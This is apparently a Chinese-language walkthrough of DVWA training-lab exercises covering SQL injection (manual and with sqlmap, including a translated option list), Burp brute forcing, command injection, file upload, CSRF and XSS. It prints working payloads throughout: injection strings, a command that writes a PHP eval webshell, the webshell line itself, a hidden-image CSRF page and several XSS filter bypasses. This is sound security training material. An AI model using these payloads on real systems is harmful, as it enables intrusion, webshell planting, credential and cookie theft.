目录
send to intruder->clear->add爆破对象
SQL-INJECTION
low
输入1,2都正常显示,这关对id没有任何过滤
判断注入点:单引号闭合
$sql="select * from users where username='$name' and password='$pwd'";
1' and 1=1#
等价于select * from users where username='1' and 1=1#
' and password=xxx
查询结果为id为1的用户
1' or 1=1#
等价于select * from users where username='1' or 1=1#
' and password=xxx
=>select * from users
作用:爆出表中的所有字段
数据库名:
表名:
列名:
字段值(md5加密的):
medium
判断字段数:
表名:
语法错误,猜测是否单引号的问题呢,由于MySQL默认支持16进制编解码,故对users进行16进制编码
字段值:
high
同上
查看源代码会发现有limit限制只能输出一条,主要是为了防止SQLmap注入。
impossible
sqlmap
low:
python环境部署
安装sqlmapsqlmap: automatic SQL injection and database takeover tool
使用low sql-injection
sqlmap.py -u URL
//GET类型注入的必备参数
出现302重定向返回登陆界面,证明这个页面需要cookie->
复制数据包中的cookie->--cookie=""
-
--batch默认回答
-
--dbs查看所有数据库名称
结果如图:
-
--current-db查看当前数据库名称
表信息:-D dvwa --tables
列信息:-D dvwa -T users --columns
字段:-D dvwa -T users -C user,password --dump
(dump显示解密后结果)
会自动下载到本地是一个excel文件
medium
将数据包创建成文件放到sqlmap里
sqlmap读取文件:
sqlmap.py -r 1.txt --batch
之后同上
high
!跨页面
同上抓包创建文件读取文件,将文件与前面页面连接起来
sqlmap.py -r 1.txt --batch --second-url "http://192.168.213.1/dvwa/vulnerabilities/sqli/" --dbs
之后查询同上
其他
-
--flush--sessionsqlmap在测试某一目标URL后会生成session文件,该文件保存了本次测试的结果信息。当我们再次测试该目标URL时,会自动加载上一次的结果
-
--dbms 数据库名(指定)
-
--technique 注入类型选项
-
-p 注入点(指定需要测试的注入点)
- 高阶用法:
Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1)
Target: At least one of these options has to be provided to define the target(s)
-u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT 用于直接数据库连接的连接字符串 -l LOGFILE 从Burp或WebScarab代理日志文件中解析目标 -m BULKFILE 从文本文件中扫描多个目标 -r REQUESTFILE 从文件中加载HTTP请求 -g GOOGLEDORK 将Google dork结果处理为目标URL -c CONFIGFILE 从配置INI文件中加载选项
请求: 这些选项可用于指定如何连接到目标URL
-A AGENT, --user.. HTTP User-Agent头部的值 -H HEADER, --hea.. 额外的头部(例如"X-Forwarded-For: 127.0.0.1") --method=METHOD 强制使用给定的HTTP方法(例如PUT) --data=DATA 要通过POST发送的数据字符串(例如"id=1") --param-del=PARA.. 用于分割参数值的字符(例如&) --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --cookie-del=COO.. 用于分割cookie值的字符(例如;) --live-cookies=L.. 用于加载最新值的实时cookie文件 --load-cookies=L.. 包含Netscape/wget格式cookie的文件 --drop-set-cookie 忽略响应中的Set-Cookie头部 --mobile 通过HTTP User-Agent头部模拟智能手机 --random-agent 使用随机选择的HTTP User-Agent头部值 --host=HOST HTTP Host头部的值 --referer=REFERER HTTP Referer头部的值 --headers=HEADERS 额外的头部(例如"Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP身份验证类型(Basic,Digest,Bearer等) --auth-cred=AUTH.. HTTP身份验证凭据(用户名:密码) --auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件 --abort-code=ABO.. 在(有问题的)HTTP错误代码上中止(例如401) --ignore-code=IG.. 忽略(有问题的)HTTP错误代码(例如401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接到目标URL --proxy-cred=PRO.. 代理身份验证凭据(用户名:密码) --proxy-file=PRO.. 从文件中加载代理列表 --proxy-freq=PRO.. 在给定列表中更改代理之间的请求次数 --tor 使用Tor匿名网络 --tor-port=TORPORT 设置Tor代理端口(非默认值) --tor-type=TORTYPE 设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认)) --check-tor 检查Tor是否正确使用 --delay=DELAY 每个HTTP请求之间的延迟时间(秒) --timeout=TIMEOUT 连接超时前等待的秒数(默认值30) --retries=RETRIES 连接超时时的重试次数(默认值3) --retry-on=RETRYON 在正则表达式匹配内容时重试请求(例如"drop") --randomize=RPARAM 随机更改给定参数的值 --safe-url=SAFEURL 在测试期间频繁访问的URL地址 --safe-post=SAFE.. 发送到安全URL的POST数据 --safe-req=SAFER.. 从文件中加载安全的HTTP请求 --safe-freq=SAFE.. 在访问安全URL之间的常规请求次数 --skip-urlencode 跳过对负载数据的URL编码 --csrf-token=CSR.. 用于保存反CSRF令牌的参数 --csrf-url=CSRFURL 用于提取反CSRF令牌的URL地址 --csrf-method=CS.. 在访问反CSRF令牌页面时使用的HTTP方法 --csrf-data=CSRF.. 在访问反CSRF令牌页面时发送的POST数据 --csrf-retries=C.. 反CSRF令牌检索的重试次数(默认值0) --force-ssl 强制使用SSL/HTTPS --chunked 使用HTTP分块传输编码(POST)请求 --hpp 使用HTTP参数污染方法 --eval=EVALCODE 在请求之前评估提供的Python代码(例如"import hashlib;id2=hashlib.md5(id).hexdigest()")
优化: 这些选项可用于优化sqlmap的性能
-o 打开所有优化开关 --predict-output 预测常见查询的输出 --keep-alive 使用持久的HTTP(s)连接 --null-connection 在没有实际HTTP响应体的情况下获取页面长度 --threads=THREADS 最大并发HTTP(s)请求数(默认值1)
注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本
-p TESTPARAMETER 可测试的参数 --skip=SKIP 跳过对给定参数的测试 --skip-static 跳过不显示为动态的参数的测试 --param-exclude=.. 用于排除测试的参数的正则表达式(例如"ses") --param-filter=P.. 按位置选择可测试的参数(例如"POST") --dbms=DBMS 强制指定后端DBMS的值 --dbms-cred=DBMS.. DBMS身份验证凭据(用户名:密码) --os=OS 强制指定后端DBMS的操作系统 --invalid-bignum 使用大数来使值无效 --invalid-logical 使用逻辑操作使值无效 --invalid-string 使用随机字符串使值无效 --no-cast 关闭载荷转换机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入载荷前缀字符串 --suffix=SUFFIX 注入载荷后缀字符串 --tamper=TAMPER 使用给定的脚本对注入数据进行篡改
检测: 这些选项可用于自定义检测阶段
--level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) --string=STRING 当查询评估为True时要匹配的字符串 --not-string=NOT.. 当查询评估为False时要匹配的字符串 --regexp=REGEXP 当查询评估为True时要匹配的正则表达式 --code=CODE 当查询评估为True时要匹配的HTTP代码 --smart 仅在存在正面启发式时执行彻底的测试 --text-only 仅基于文本内容比较页面 --titles 仅基于页面标题比较页面
技术: 这些选项可用于调整特定SQL注入技术的测试
--technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") --time-sec=TIMESEC 延迟DBMS响应的秒数(默认值5) --union-cols=UCOLS 要测试UNION查询SQL注入的列范围 --union-char=UCHAR 用于暴力破解列数的字符 --union-from=UFROM 在UNION查询SQL注入的FROM部分中使用的表 --union-values=U.. 用于UNION查询SQL注入的列值 --dns-domain=DNS.. 用于DNS泄露攻击的域名 --second-url=SEC.. 搜索第二次响应的结果页面URL --second-req=SEC.. 从文件中加载第二次HTTP请求
指纹识别: -f, --fingerprint 执行详细的DBMS版本指纹识别
枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据
-a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --hostname 检索DBMS服务器主机名 --is-dba 检测DBMS当前用户是否为DBA --users 枚举DBMS用户 --passwords 枚举DBMS用户密码哈希值 --privileges 枚举DBMS用户权限 --roles 枚举DBMS用户角色 --dbs 枚举DBMS数据库 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --count 检索表的条目数 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 --search 搜索列、表和/或数据库名称 --comments 在枚举过程中检查DBMS注释 --statements 检索在DBMS上运行的SQL语句 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 -X EXCLUDE 不要枚举的DBMS数据库标识符 -U USER 要枚举的DBMS用户 --exclude-sysdbs 在枚举表时排除DBMS系统数据库 --pivot-column=P.. 枢轴列名称 --where=DUMPWHERE 在转储表时使用WHERE条件 --start=LIMITSTART 要检索的第一个转储表条目 --stop=LIMITSTOP 要检索的最后一个转储表条目 --first=FIRSTCHAR 要检索的第一个查询输出单词字符 --last=LASTCHAR 要检索的最后一个查询输出单词字符 --sql-query=SQLQ.. 要执行的SQL语句 --sql-shell 提示进行交互式SQL shell --sql-file=SQLFILE 从给定文件中执行SQL语句
暴力破解: 这些选项可用于运行暴力破解检查
--common-tables 检查常见表的存在 --common-columns 检查常见列的存在 --common-files 检查常见文件的存在
用户定义函数注入: 这些选项可用于创建自定义的用户定义函数
--udf-inject 注入自定义的用户定义函数 --shared-lib=SHLIB 共享库的本地路径
文件系统访问: 这些选项可用于访问后端数据库管理系统的底层文件系统
--file-read=FILE.. 从后端DBMS文件系统中读取文件 --file-write=FIL.. 在后端DBMS文件系统上写入本地文件 --file-dest=FILE.. 要写入的后端DBMS绝对文件路径
操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统
--os-cmd=OSCMD 执行操作系统命令 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC --os-smbrelay 一键提示进行OOB shell、Meterpreter或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --msf-path=MSFPATH Metasploit Framework安装的本地路径 --tmp-path=TMPPATH 临时文件目录的远程绝对路径
Windows注册表访问: 这些选项可用于访问后端数据库管理系统的Windows注册表
--reg-read 读取Windows注册表键值 --reg-add 写入Windows注册表键值数据 --reg-del 删除Windows注册表键值 --reg-key=REGKEY Windows注册表键 --reg-value=REGVAL Windows注册表键值 --reg-data=REGDATA Windows注册表键值数据 --reg-type=REGTYPE Windows注册表键值类型
常规: 这些选项可用于设置一些常规工作参数
-s SESSIONFILE 从存储的(.sqlite)文件中加载会话 -t TRAFFICFILE 将所有HTTP流量记录到文本文件中 --abort-on-empty 在结果为空时中止数据检索 --answers=ANSWERS 设置预定义的答案(例如"quit=N,follow=N") --base64=BASE64P.. 包含Base64编码数据的参数 --base64-safe 使用URL和文件名安全的Base64字母表(RFC 4648) --batch 不要询问用户输入,使用默认行为 --binary-fields=.. 具有二进制值的结果字段(例如"digest") --check-internet 在评估目标之前检查互联网连接 --cleanup 从sqlmap特定的UDF和表中清理DBMS --crawl=CRAWLDEPTH 从目标URL开始爬取网站 --crawl-exclude=.. 用于排除爬取的页面的正则表达式(例如"logout") --csv-del=CSVDEL CSV输出中使用的分隔字符(默认值",") --charset=CHARSET 盲SQL注入字符集(例如"0123456789abcdef") --dump-file=DUMP.. 将转储的数据存储到自定义文件中 --dump-format=DU.. 转储数据的格式(CSV(默认值),HTML或SQLITE) --eta 为每个输出显示预计到达时间 --flush-session 清除当前目标的会话文件 --forms 解析和测试目标URL上的表单 --fresh-queries 忽略会话文件中存储的查询结果 --gpage=GOOGLEPAGE 使用指定的页码从Google dork结果中获取 --har=HARFILE 将所有HTTP流量记录到HAR文件中 --hex 在数据检索过程中使用十六进制转换 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 解析和显示来自响应的DBMS错误消息 --preprocess=PRE.. 用于预处理的给定脚本(请求) --postprocess=PO.. 用于后处理的给定脚本(响应) --repair 重新转储具有未知字符标记(?)的条目 --save=SAVECONFIG 将选项保存到配置INI文件中 --scope=SCOPE 用于过滤目标的正则表达式 --skip-heuristics 跳过启发式检测漏洞 --skip-waf 跳过启发式检测WAF/IPS保护 --table-prefix=T.. 用于临时表的前缀(默认值:"sqlmap") --test-filter=TE.. 通过负载和/或标题选择测试(例如ROW) --test-skip=TEST.. 通过负载和/或标题跳过测试(例如BENCHMARK) --time-limit=TIM.. 以秒为单位设置运行时间限制(例如3600) --web-root=WEBROOT Web服务器文档根目录(例如"/var/www")
杂项: 这些选项不属于任何其他类别
-z MNEMONICS 使用短助记符(例如"flu,bat,ban,tec=EU") --alert=ALERT 在发现SQL注入时运行主机操作系统命令 --beep 在提问时和/或发现漏洞时发出蜂鸣声 --dependencies 检查缺失的(可选的)sqlmap依赖项 --disable-coloring 禁用控制台输出着色 --list-tampers 显示可用的篡改脚本列表 --no-logging 禁用日志记录到文件 --offline 在离线模式下工作(仅使用会话数据) --purge 安全地从sqlmap数据目录中删除所有内容 --results-file=R.. 多目标模式下CSV结果文件的位置 --shell 提示进行交互式sqlmap shell --tmp-dir=TMPDIR 用于存储临时文件的本地目录 --unstable 调整不稳定连接的选项 --update 更新sqlmap --wizard 面向初学者用户的简单向导界面
Brute Force(暴力破解)
low
抓包
send to intruder->clear->add爆破对象
攻击方式->集束炸弹(cluster bomb attack)->字典爆破->start attack
结果为admin,password
attack type:攻击模式设置
-
Sniper:对变量进行一次破解,多个标记依次进行。(用户名和密码用一套字典)
-
Battering ram:对变量同时破解,多个标记同时进行。(一个字典,但同时进行,速度更快)
-
Pitchfork:一个变量一个字典,取每个字典的对应项
-
Cluster bomb:一个变量一个字典,交际破解,尝试各种组合,时间长
medium
-
Medium爆破步骤跟low步骤相同,但相同的用户和密码字典,所需要的时间更长,但是也可以得出用户admin 密码password
-
比较low和medium代码,medium多了一行代码sleep(2); 用户登陆失败后要休眠2秒
-
所以爆破medium所需时间比low所需时间长
-
分析源代码我们发现medium采用了符号转义,一定程度上防止了sql注入,采用暴力破解也可以完成
high
抓包发现页面代码里隐藏的token 参数
,每次请求该页面后都会获得新的token,且有效性只有一次,每次请求登录提交用户名和密码时,都要带上页面提供的 token,防止重放爆破。所以我们要想爆破就必须先获得token 值再提交。(Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。)
状态码为200,再次点击,状态码改变,是由于服务器后端会对user_token进行检测。
解决->递归提取:
add变量password和token
设置token重定向
新建资源池,最大线程数设置为1->开始攻击
破解成功
command injection
命令注入就是在需要输入数据的地方输入了恶意代码,而且系统并没有对其进行过滤或者其他处理导致恶意代码也被执行,最终导致数据泄露或者正常数据被破坏。
常用到的命令:(总结来说就是系统操作命令DOS命令都可以在此执行试试)
ipconfig,net user(查看系统用户),dir(查看当前目录),find(查找包含指定字符的行),whoami(查看系统当前有效用户名)A&B(简单的拼接,AB之间无制约关系),A&&B(A执行成功才会执行B),A|B(A的输出作为B的输入),A||B(A执行失败,然后才会执行B)
low
127.0.0.1测试
127.0.0.1
本地回环地址 作用:
1、测试本机的网络配置:通过向 127.0.0.1 发送数据包,可以验证本机的 IP 协议安装是否正常。
2、代替 localhost :在操作系统的配置文件中,通常将 localhost(本地主机名)与 127.0.0.1 绑定在一起,这样在应用程序中使用 localhost 时,实际上是在使用本地回环地址,用于访问本机上运行的网络服务和应用程序。
修改编码形式
解决
写入一个名为shell.php的一句话木马文件
使用^符号进行转义(linux用\)
127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php
medium
对&&进行了转义
high
加入了token
文件上传
什么是文件上传漏洞?
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件
。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释
文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
要点:
(1)绕过题目的各种过滤手段成功上传文件并且不被删除; (2)确保文件可以正常运行; (3)确保文件可以执行命令。
一句话木马(webshell):
<?php @eval($_POST['attack']);?>
low
蚁剑连接
此时便可随意访问服务器上任意文件并进行操作
medium
上传失败
burp抓包png格式-》将抓取到的文件名后缀改为php
上传成功-》蚁剑连接
high
查看源码,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。
添加文件头GIF89a
但是无法连接蚁剑
换另一种方法-》将木马隐藏在图片中绕过-》使用copy命令将木马文件和图片文件合并
csrf(跨站请求伪造)
csrf——跨站请求伪造,简单来说,就是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并进行一些非用户执行的操作。
要完成一次csef攻击,受害者需依次完成两个步骤:
-
登录受信任站点A,并在本地生成Cookie
-
在不登出A的情况下,访问攻击者网站B
原理:
1.用户认证:用户在目标网站上登录,比如银行网站,这时浏览器会保存一个会话标识符(如Session ID),通常是通过Cookie来存储的。 2.用户访问第三方网站:在没有从目标网站登出的情况下,用户访问了攻击者控制的第三方网站。 3.恶意请求:第三方网站包含了能够自动执行的代码(例如JavaScript、HTML表单等),这些代码会在用户不知情的情况下构造并发送一个针对目标网站的请求。由于用户的浏览器会自动将之前保存的与目标网站相关的Cookie(包括Session ID)附带在每一个发往该网站的请求中,所以这个请求会被目标网站认为是合法的、来自已认证用户的请求。 4.请求执行:如果目标网站没有适当的防护措施,那么这个由攻击者构造的请求将会被执行,可能导致非预期的操作,如转账、更改密码或其它敏感操作。
low
采用get方式直接提交新密码
构造url:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
登录dvwa浏览器未关闭,cookie未超时,那么点击这个连接时,出现如下界面密码就会被修改
链接修饰——短链接生成器https://monojson.com/s/x1ppQ
页面掩饰——构造一个攻击界面test.html,当用户点击服务器上的页面链接时,出现404页面,其实已经修改密码
<img src="https://monojson.com/s/x1ppQ"border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
medium
referer字段为http请求header中的一段,它通常表示请求当前资源的客户端来源,在一定程度上,它可以防止盗链的威胁。
该判断是取出SERVER超全局变量中的“http中的referer字段”和“服务器中的主机名”,只要http_referer中包含服务器域名则执行if里的代码。
我们把地址栏抓到的数据包发送给重发器,把在页面数据包中的referer复制过来,然后查看结果
high
对token值做了验证,在每一次修改密码的时候,返回一个随机token值,进行校验。
可见请求头中含有token,我们将这个token带入之前伪造的html的地址中
登录成功
或者用xss得出token值,获取token方法:在存储型xss中随意输入name,(由于长度问题,要先打开开发者工具,将name的长度加长)
csrf防御:
1.通过CSRF-token或者验证码来检测用户提交
2.验证 Referer/Content-Type
3.对于用户修改删除等操作最好都使用POST操作
4.避免全站通用的Cookie,严格设置Cookie的域
XSS(跨站脚本攻击)
跨站脚本攻击XSS,全称Cross Site Scripting,是指攻击者在有漏洞的Web页面中注入恶意的代码脚本,当受害者访问该页面时,恶意代码会在其浏览器上执行。XSS漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的。
通俗讲,让用户的浏览器去执行一些这个网页中原本不存在的前端代码。
危害:
-
盗取用户cookie
-
会话劫持
-
流量劫持
-
网页挂马
-
DDos攻击
-
提权
反射型
非持久性xss——攻击相对于访问者而言是一次性的。
具体表现就是恶意脚本通过URL的方式传递给了服务器,而服务器则只是不加处理的脚本“反射”回访者的浏览器而使访问者的浏览器执行响应的脚本。
也就是说想要触发漏洞,需要访问特定的链接才能够实现。
输入一段脚本语言
low
代码部分,无过滤机制,只检查是否为空
-
cookie反射:<script>alert(document.cookie)</script>
-
劫持流量实现恶意跳转:<script>document.location.href="百度一下,你就知道"</script>
medium
-
利用大小写绕过<Script>
-
利用双写方式绕过:<scr<script>ipt>alert(1)</script>
high
使用preg_replace
函数来清理用户输入,防止XSS攻击。这个正则表达式匹配任何包含<script>
的字符串,并将其替换为空字符串。这样可以防止用户输入的脚本被浏览器执行。
-
利用<img>标签绕过
<img>标签有个功能特性,当指定图片不存在时,执行onerror后面的代码
<img src='1' οnerrοr='alert(1)'>
-
利用<onmousemove>标签绕过
<onmousemove>标签可以监控鼠标的移动,移动时执行代码
<a οnmοusemοve='alert(1)'>
如果服务器对代码中的关键字(比如alert)进行过滤的话,我们可以尝试将关键字进行编码后再插入。
我们可以用另一个语句eval()来实现,eval()会将编码过的语句解码后再执行。
alert经过Unicode编码后
\u0061\u006c\u0065\u0072\u0074
再结合img标签:
<img src='1' οnerrοr='eval(\u0061\u006c\u0065\u0072\u0074(1))'>
存储型
持久化,服务器在接收到我们的恶意脚本时会将其做一些处理,代码是存储在服务器中的。
极其危险,容易造成蠕虫和大量盗取cookie的现象。
而且这个过程一般而言只要用户访问这个界面就行了,不像反射型XSS,需要访问特定的URL。
low
对数据部分无任何检测,直接插入数据库
实现cookie盗取步骤:
-
攻击者搭建一个Web服务器,用来劫持流量的。
-
编写一个cookie.php页面,用来收录cookie信息
-
构造DVWA上面XSS漏洞的Payload
-
页面跳转,拿到cookie,利用cookie冒充用户进行登录
medium
message过滤严格,对name只做了关键字过滤,name在web页面输入端对字数有限制,通过burp修改发送报文,同时用<Script>大小写绕过过滤
修改字符10->100
用burp抓包替换name:<ScRipt>alert(/xss/);</ScRipt>
high
Burpsuite抓包改name参数为<img src=1 onerror=alert(/xss/)>:
Forward后,成功弹窗